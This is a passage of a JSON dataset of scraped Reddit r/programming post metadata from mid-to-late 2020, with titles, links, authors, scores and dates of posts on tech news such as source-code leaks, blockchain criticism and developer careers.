  "score": 3905,
  "upvoteRatio": 0.97,
  "numComments": 232,
  "createdAt": "2020-11-06T21:17:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theguardian.com/uk-news/2020/nov/06/companies-house-forces-business-name-change-to-prevent-security-risk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jhg10u",
  "url": "https://twitter.com/GalacticFurball/status/1319765986791157761",
  "permalink": "https://www.reddit.com/r/programming/comments/jhg10u/someone_published_a_source_mirror_of_youtubedl/",
  "title": "Someone published a source mirror of youtube-dl encoded as image, posted with decode commands",
  "body": null,
  "author": "TimvdLippe",
  "subreddit": "programming",
  "score": 3457,
  "upvoteRatio": 0.97,
  "numComments": 334,
  "createdAt": "2020-10-24T20:25:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/GalacticFurball/status/1319765986791157761",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jegq9k",
  "url": "https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86714927310-8f431cae",
  "permalink": "https://www.reddit.com/r/programming/comments/jegq9k/blockchain_the_amazing_solution_for_almost_nothing/",
  "title": "Blockchain, the amazing solution for almost nothing",
  "body": null,
  "author": "imogenchampagne",
  "subreddit": "programming",
  "score": 7042,
  "upvoteRatio": 0.95,
  "numComments": 1456,
  "createdAt": "2020-10-20T02:32:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86714927310-8f431cae",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_jc9sq6",
  "url": "https://twitter.com/tim_nolet/status/1317061818574082050",
  "permalink": "https://www.reddit.com/r/programming/comments/jc9sq6/aws_forked_my_project_and_launched_it_as_its_own/",
  "title": "AWS forked my project and launched it as its own service",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 3004,
  "upvoteRatio": 0.92,
  "numComments": 733,
  "createdAt": "2020-10-16T13:27:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/tim_nolet/status/1317061818574082050",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_j4sos9",
  "url": "https://medium.com/commitlog/dont-just-contribute-to-open-source-participate-3d29d935b11c?source=friends_link&sk=8ca6f675688738ec9c50668d327170b4",
  "permalink": "https://www.reddit.com/r/programming/comments/j4sos9/dont_just_contribute_to_open_source_participate/",
  "title": "Don’t Just Contribute To Open Source, Participate",
  "body": null,
  "author": "caspervonb",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 8,
  "createdAt": "2020-10-04T03:57:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/commitlog/dont-just-contribute-to-open-source-participate-3d29d935b11c?source=friends_link&sk=8ca6f675688738ec9c50668d327170b4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_j3oe5f",
  "url": "https://joel.net/how-one-guy-ruined-hacktoberfest2020-drama",
  "permalink": "https://www.reddit.com/r/programming/comments/j3oe5f/one_guy_ruined_hacktoberfest_2020/",
  "title": "One Guy Ruined Hacktoberfest 2020",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 3075,
  "upvoteRatio": 0.96,
  "numComments": 548,
  "createdAt": "2020-10-02T04:53:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://joel.net/how-one-guy-ruined-hacktoberfest2020-drama",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_j2k9ph",
  "url": "https://www.zdnet.com/article/open-sources-eric-raymond-windows-10-will-soon-be-just-an-emulation-layer-on-linux-kernel/",
  "permalink": "https://www.reddit.com/r/programming/comments/j2k9ph/open_sources_eric_raymond_windows_10_will_soon_be/",
  "title": "Open source's Eric Raymond: Windows 10 will soon be just an emulation layer on Linux kernel",
  "body": null,
  "author": "LandGoldSilver",
  "subreddit": "programming",
  "score": 56,
  "upvoteRatio": 0.54,
  "numComments": 297,
  "createdAt": "2020-09-30T11:20:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/open-sources-eric-raymond-windows-10-will-soon-be-just-an-emulation-layer-on-linux-kernel/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_j06gd7",
  "url": "https://pastebin.com/PTLeWhc2",
  "permalink": "https://www.reddit.com/r/programming/comments/j06gd7/found_these_comments_by_a_developer_inside_the/",
  "title": "Found these comments by a developer inside the Windows Media Player source code leaked with the WinXP files yesterday, sort of hilarious",
  "body": null,
  "author": "theusualguy512",
  "subreddit": "programming",
  "score": 5014,
  "upvoteRatio": 0.98,
  "numComments": 397,
  "createdAt": "2020-09-26T13:56:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pastebin.com/PTLeWhc2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_izld8y",
  "url": "https://www.theverge.com/2020/9/25/21455655/microsoft-windows-xp-source-code-leak",
  "permalink": "https://www.reddit.com/r/programming/comments/izld8y/windows_xp_source_code_leak/",
  "title": "Windows XP source code leak",
  "body": null,
  "author": "PanzerPaupiette",
  "subreddit": "programming",
  "score": 3177,
  "upvoteRatio": 0.98,
  "numComments": 649,
  "createdAt": "2020-09-25T15:19:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theverge.com/2020/9/25/21455655/microsoft-windows-xp-source-code-leak",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ixo3px",
  "url": "https://alexgolec.dev/google-interview-questions-deconstructed-the-knights-dialer/",
  "permalink": "https://www.reddit.com/r/programming/comments/ixo3px/google_engineer_breaks_down_the_problems_he_uses/",
  "title": "Google engineer breaks down the problems he uses when doing technical interviews. Lots of advice on algorithms and programming.",
  "body": null,
  "author": "ldxtc",
  "subreddit": "programming",
  "score": 6412,
  "upvoteRatio": 0.95,
  "numComments": 1085,
  "createdAt": "2020-09-22T14:09:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexgolec.dev/google-interview-questions-deconstructed-the-knights-dialer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_iwlxud",
  "url": "https://github.com/dwmkerr/hacker-laws#kernighans-law",
  "permalink": "https://www.reddit.com/r/programming/comments/iwlxud/kernighans_law_debugging_is_twice_as_hard_as/",
  "title": "Kernighan's Law - Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it.",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 5274,
  "upvoteRatio": 0.96,
  "numComments": 410,
  "createdAt": "2020-09-20T20:49:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/dwmkerr/hacker-laws#kernighans-law",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_iru79z",
  "url": "https://www.unixtimestamp.com/index.php",
  "permalink": "https://www.reddit.com/r/programming/comments/iru79z/unix_time_reaches_1600000000_today/",
  "title": "Unix time reaches 1600000000 today!",
  "body": null,
  "author": "kurtstir",
  "subreddit": "programming",
  "score": 3550,
  "upvoteRatio": 0.95,
  "numComments": 197,
  "createdAt": "2020-09-13T07:56:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.unixtimestamp.com/index.php",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_iqr038",
  "url": "https://youtu.be/NYPG_9IwxJE",
  "permalink": "https://www.reddit.com/r/programming/comments/iqr038/how_to_scan_for_secrets_like_api_keys_using_a/",
  "title": "How to scan for secrets like API keys using a simple python script",
  "body": null,
  "author": "Mackenzie-GG",
  "subreddit": "programming",
  "score": 18,
  "upvoteRatio": 0.53,
  "numComments": 5,
  "createdAt": "2020-09-11T13:59:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/NYPG_9IwxJE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_imhi2j",
  "url": "https://www.zainrizvi.io/blog/the-impostors-advantage/?utm_source=reddit",
  "permalink": "https://www.reddit.com/r/programming/comments/imhi2j/how_google_taught_me_to_turn_impostor_syndrome/",
  "title": "How Google taught me to turn Impostor Syndrome into an Advantage",
  "body": null,
  "author": "ZainRiz",
  "subreddit": "programming",
  "score": 3565,
  "upvoteRatio": 0.96,
  "numComments": 264,
  "createdAt": "2020-09-04T15:00:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zainrizvi.io/blog/the-impostors-advantage/?utm_source=reddit",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_igfn8p",
  "url": "https://www.zainrizvi.io/blog/whats-it-like-as-a-senior-engineer/",
  "permalink": "https://www.reddit.com/r/programming/comments/igfn8p/whats_it_like_as_a_senior_engineer_my_experiences/",
  "title": "What's it like as a Senior Engineer? My experiences working at Google & Microsoft",
  "body": null,
  "author": "ZainRiz",
  "subreddit": "programming",
  "score": 3155,
  "upvoteRatio": 0.96,
  "numComments": 372,
  "createdAt": "2020-08-25T16:35:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zainrizvi.io/blog/whats-it-like-as-a-senior-engineer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_if3z1x",
  "url": "https://youtu.be/MwPjvJ9ulSc",
  "permalink": "https://www.reddit.com/r/programming/comments/if3z1x/making_an_os_x86_part_1_cpu_assembly_booting/",
  "title": "Making an OS (x86) - Part 1: CPU, Assembly, Booting",
  "body": null,
  "author": "daedaluscommunity",
  "subreddit": "programming",
  "score": 3035,
  "upvoteRatio": 0.98,
  "numComments": 166,
  "createdAt": "2020-08-23T14:19:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/MwPjvJ9ulSc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ieni93",
  "url": "https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86649455475-f933fe63",
  "permalink": "https://www.reddit.com/r/programming/comments/ieni93/blockchain_the_amazing_solution_for_almost_nothing/",
  "title": "Blockchain, the amazing solution for almost nothing",
  "body": null,
  "author": "jessefrederik",
  "subreddit": "programming",
  "score": 6611,
  "upvoteRatio": 0.95,
  "numComments": 1471,
  "createdAt": "2020-08-22T18:19:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86649455475-f933fe63",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i9luub",
  "url": "https://medium.com/young-coder/mozilla-the-greatest-tech-company-left-behind-9e912098a0e1?source=friends_link&sk=5137896f6c2495116608a5062570cc0f",
  "permalink": "https://www.reddit.com/r/programming/comments/i9luub/mozilla_the_greatest_tech_company_left_behind/",
  "title": "Mozilla: The Greatest Tech Company Left Behind",
  "body": null,
  "author": "matthewpmacdonald",
  "subreddit": "programming",
  "score": 7716,
  "upvoteRatio": 0.97,
  "numComments": 1014,
  "createdAt": "2020-08-14T13:22:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/young-coder/mozilla-the-greatest-tech-company-left-behind-9e912098a0e1?source=friends_link&sk=5137896f6c2495116608a5062570cc0f",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i8e0ai",
  "url": "https://www.theregister.com/2020/08/10/boeing_747_floppy_drive_updates_walkthrough/",
  "permalink": "https://www.reddit.com/r/programming/comments/i8e0ai/boeing_747s_still_use_floppy_disks_to_get/",
  "title": "Boeing 747s Still Use Floppy Disks to Get Software Updates",
  "body": null,
  "author": "bemmu",
  "subreddit": "programming",
  "score": 3275,
  "upvoteRatio": 0.96,
  "numComments": 545,
  "createdAt": "2020-08-12T13:45:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2020/08/10/boeing_747_floppy_drive_updates_walkthrough/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i7t6qv",
  "url": "https://zeroequalsfalse.com/posts/it-is-ok-to-only-code-at-work/",
  "permalink": "https://www.reddit.com/r/programming/comments/i7t6qv/it_is_perfectly_ok_to_only_code_at_work_you_can/",
  "title": "It is perfectly OK to only code at work, you can have a life too",
  "body": null,
  "author": "whackri",
  "subreddit": "programming",
  "score": 6836,
  "upvoteRatio": 0.94,
  "numComments": 709,
  "createdAt": "2020-08-11T14:52:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zeroequalsfalse.com/posts/it-is-ok-to-only-code-at-work/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i6ceco",
  "url": "https://www.zdnet.com/article/china-is-now-blocking-all-encrypted-https-traffic-using-tls-1-3-and-esni/",
  "permalink": "https://www.reddit.com/r/programming/comments/i6ceco/china_is_now_blocking_all_encrypted_https_traffic/",
  "title": "China is now blocking all encrypted HTTPS traffic that uses TLS 1.3 and ESNI",
  "body": null,
  "author": "RobertVandenberg",
  "subreddit": "programming",
  "score": 3369,
  "upvoteRatio": 0.98,
  "numComments": 422,
  "createdAt": "2020-08-09T03:14:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/china-is-now-blocking-all-encrypted-https-traffic-using-tls-1-3-and-esni/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i4xxnk",
  "url": "https://twitter.com/deletescape/status/1291405688204402689",
  "permalink": "https://www.reddit.com/r/programming/comments/i4xxnk/20gb_leak_of_intel_data_whole_git_repositories/",
  "title": "20GB leak of Intel data: whole Git repositories, dev tools, backdoor mentions in source code",
  "body": null,
  "author": "flaming_bird",
  "subreddit": "programming",
  "score": 12168,
  "upvoteRatio": 0.97,
  "numComments": 895,
  "createdAt": "2020-08-06T19:04:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/deletescape/status/1291405688204402689",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_i4el1y",
  "url": "https://www.ibm.com/blogs/research/2020/08/remembering-frances-allen/",
  "permalink": "https://www.reddit.com/r/programming/comments/i4el1y/frances_allen_pioneering_researcher_in_compiler/",
  "title": "Frances Allen, pioneering researcher in compiler optimizations and the first woman to win the Turing Award, has passed away",
  "body": null,
  "author": "ArcticWyvern",
  "subreddit": "programming",
  "score": 4329,
  "upvoteRatio": 0.97,
  "numComments": 151,
  "createdAt": "2020-08-05T21:44:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.ibm.com/blogs/research/2020/08/remembering-frances-allen/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hygojk",
  "url": "https://ronjeffries.com/articles/018-01ff/abandon-1/",
  "permalink": "https://www.reddit.com/r/programming/comments/hygojk/i_hate_agile_development_because_its_been_coopted/",
  "title": "I hate Agile development because it's been coopted by business management , as a method to gamify software building...am I crazy?",
  "body": null,
  "author": "abrandis",
  "subreddit": "programming",
  "score": 3471,
  "upvoteRatio": 0.95,
  "numComments": 971,
  "createdAt": "2020-07-26T22:56:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ronjeffries.com/articles/018-01ff/abandon-1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hum2mq",
  "url": "https://tablericons.com",
  "permalink": "https://www.reddit.com/r/programming/comments/hum2mq/550_customizable_size_color_stroke_opensource_svg/",
  "title": "550+ customizable (size, color, stroke) open-source SVG icons for web developers",
  "body": null,
  "author": "chubbykc",
  "subreddit": "programming",
  "score": 3254,
  "upvoteRatio": 0.98,
  "numComments": 102,
  "createdAt": "2020-07-20T14:20:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tablericons.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hstcpi",
  "url": "https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic/",
  "permalink": "https://www.reddit.com/r/programming/comments/hstcpi/github_achives_all_of_the_repositories_present_on/",
  "title": "GitHub achives all of the repositories present on February 2, 2020 in a code vault in the Arctic.",
  "body": null,
  "author": "LelouBil",
  "subreddit": "programming",
  "score": 3443,
  "upvoteRatio": 0.97,
  "numComments": 375,
  "createdAt": "2020-07-17T10:30:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.blog/2020-07-16-github-archive-program-the-journey-of-the-worlds-open-source-code-to-the-arctic/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hrm74w",
  "url": "https://www.pollfish.com/blog/market-research/nearly-70-of-ios-and-android-users-will-deny-tracking-permissions-if-they-are-requested-in-app-to-opt-in/",
  "permalink": "https://www.reddit.com/r/programming/comments/hrm74w/nearly_70_of_ios_and_android_users_will_deny/",
  "title": "Nearly 70% of iOS and Android users will deny tracking permissions if they are requested in-app to opt-in! How will that affect developers earnings from mobile apps?",
  "body": null,
  "author": "vourkosa",
  "subreddit": "programming",
  "score": 3481,
  "upvoteRatio": 0.95,
  "numComments": 618,
  "createdAt": "2020-07-15T11:55:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.pollfish.com/blog/market-research/nearly-70-of-ios-and-android-users-will-deny-tracking-permissions-if-they-are-requested-in-app-to-opt-in/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hnxuqi",
  "url": "http://web.mit.edu/jemorris/humor/500-miles",
  "permalink": "https://www.reddit.com/r/programming/comments/hnxuqi/we_cant_send_email_more_than_500_miles/",
  "title": "We can't send email more than 500 miles",
  "body": null,
  "author": "sircar",
  "subreddit": "programming",
  "score": 3643,
  "upvoteRatio": 0.94,
  "numComments": 279,
  "createdAt": "2020-07-09T06:01:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://web.mit.edu/jemorris/humor/500-miles",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hmern8",
  "url": "https://www.youtube.com/watch?v=kEB11PQ9Eo8",
  "permalink": "https://www.reddit.com/r/programming/comments/hmern8/guy_makes_a_game_engine_that_works_in_a_very/",
  "title": "Guy makes a game engine that works in a very different way",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 5150,
  "upvoteRatio": 0.93,
  "numComments": 266,
  "createdAt": "2020-07-06T19:35:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=kEB11PQ9Eo8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hg4e7x",
  "url": "https://youtu.be/CSoHaO3YqH8",
  "permalink": "https://www.reddit.com/r/programming/comments/hg4e7x/depixelation_convert_to_real_faces_with_pulse/",
  "title": "Depixelation & Convert to real faces with PULSE",
  "body": null,
  "author": "cloud_weather",
  "subreddit": "programming",
  "score": 3512,
  "upvoteRatio": 0.94,
  "numComments": 244,
  "createdAt": "2020-06-26T09:26:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/CSoHaO3YqH8",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hfi3vz",
  "url": "https://youtu.be/us1IqknNYmw",
  "permalink": "https://www.reddit.com/r/programming/comments/hfi3vz/a_bug_with_a_surprisingly_cool_side_effect/",
  "title": "A bug with a surprisingly cool side effect",
  "body": null,
  "author": "PezzzasWork",
  "subreddit": "programming",
  "score": 4960,
  "upvoteRatio": 0.97,
  "numComments": 249,
  "createdAt": "2020-06-25T07:49:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/us1IqknNYmw",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_heqydp",
  "url": "https://medium.com/better-programming/new-engineers-start-with-web-development-c813862e243b",
  "permalink": "https://www.reddit.com/r/programming/comments/heqydp/new_engineers_start_with_web_development/",
  "title": "New Engineers: Start With Web Development",
  "body": null,
  "author": "brettfazio",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.52,
  "numComments": 76,
  "createdAt": "2020-06-24T00:48:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/better-programming/new-engineers-start-with-web-development-c813862e243b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_henwet",
  "url": "https://github.com/nhsx/",
  "permalink": "https://www.reddit.com/r/programming/comments/henwet/the_uk_gov_just_spent_118_million_on_a_covid/",
  "title": "The UK Gov just spent £11.8 million on a COVID tracking app, in a 10 week project that’s failed to deliver. Here’s the github",
  "body": null,
  "author": "horrificmedium",
  "subreddit": "programming",
  "score": 4207,
  "upvoteRatio": 0.98,
  "numComments": 671,
  "createdAt": "2020-06-23T21:52:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/nhsx/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hclt12",
  "url": "https://bugs.launchpad.net/unity/+bug/1463112",
  "permalink": "https://www.reddit.com/r/programming/comments/hclt12/bug_1463112_cat_sitting_on_keyboard_crashes/",
  "title": "Bug #1463112 “Cat sitting on keyboard crashes lightdm”",
  "body": null,
  "author": "michalg82",
  "subreddit": "programming",
  "score": 3158,
  "upvoteRatio": 0.97,
  "numComments": 140,
  "createdAt": "2020-06-20T12:51:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bugs.launchpad.net/unity/+bug/1463112",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hbix3o",
  "url": "https://medium.com/@miko_89964/after-3-years-of-work-chrome-killed-my-extension-and-wont-tell-me-why-83a3f8d65cbc",
  "permalink": "https://www.reddit.com/r/programming/comments/hbix3o/after_3_years_of_work_chrome_killed_my_extension/",
  "title": "After 3 Years of Work, Chrome Killed My Extension and Won’t Tell Me Why",
  "body": null,
  "author": "mikob",
  "subreddit": "programming",
  "score": 3663,
  "upvoteRatio": 0.97,
  "numComments": 583,
  "createdAt": "2020-06-18T17:19:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@miko_89964/after-3-years-of-work-chrome-killed-my-extension-and-wont-tell-me-why-83a3f8d65cbc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hamglc",
  "url": "https://jaredpalmer.com/github-isnt-fun-anymore",
  "permalink": "https://www.reddit.com/r/programming/comments/hamglc/github_isnt_fun_anymore/",
  "title": "GitHub isn't fun anymore",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 43,
  "createdAt": "2020-06-17T07:21:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jaredpalmer.com/github-isnt-fun-anymore",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_hagh09",
  "url": "https://github.com/git-for-windows/git/issues/2693",
  "permalink": "https://www.reddit.com/r/programming/comments/hagh09/git_is_not_politically_correct_term/",
  "title": "Git is not politically correct term.",
  "body": null,
  "author": "tonefart",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.51,
  "numComments": 81,
  "createdAt": "2020-06-17T00:34:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/git-for-windows/git/issues/2693",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_h9ol0n",
  "url": "https://www.adobe.com/products/flashplayer/end-of-life.html",
  "permalink": "https://www.reddit.com/r/programming/comments/h9ol0n/adobe_to_remove_flash_from_their_website_after/",
  "title": "Adobe to remove Flash from their website after December 2020, yielding to \"open standards such as HTML5, WebGL, and WebAssembly\"",
  "body": null,
  "author": "stackbased",
  "subreddit": "programming",
  "score": 3726,
  "upvoteRatio": 0.98,
  "numComments": 451,
  "createdAt": "2020-06-15T20:49:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
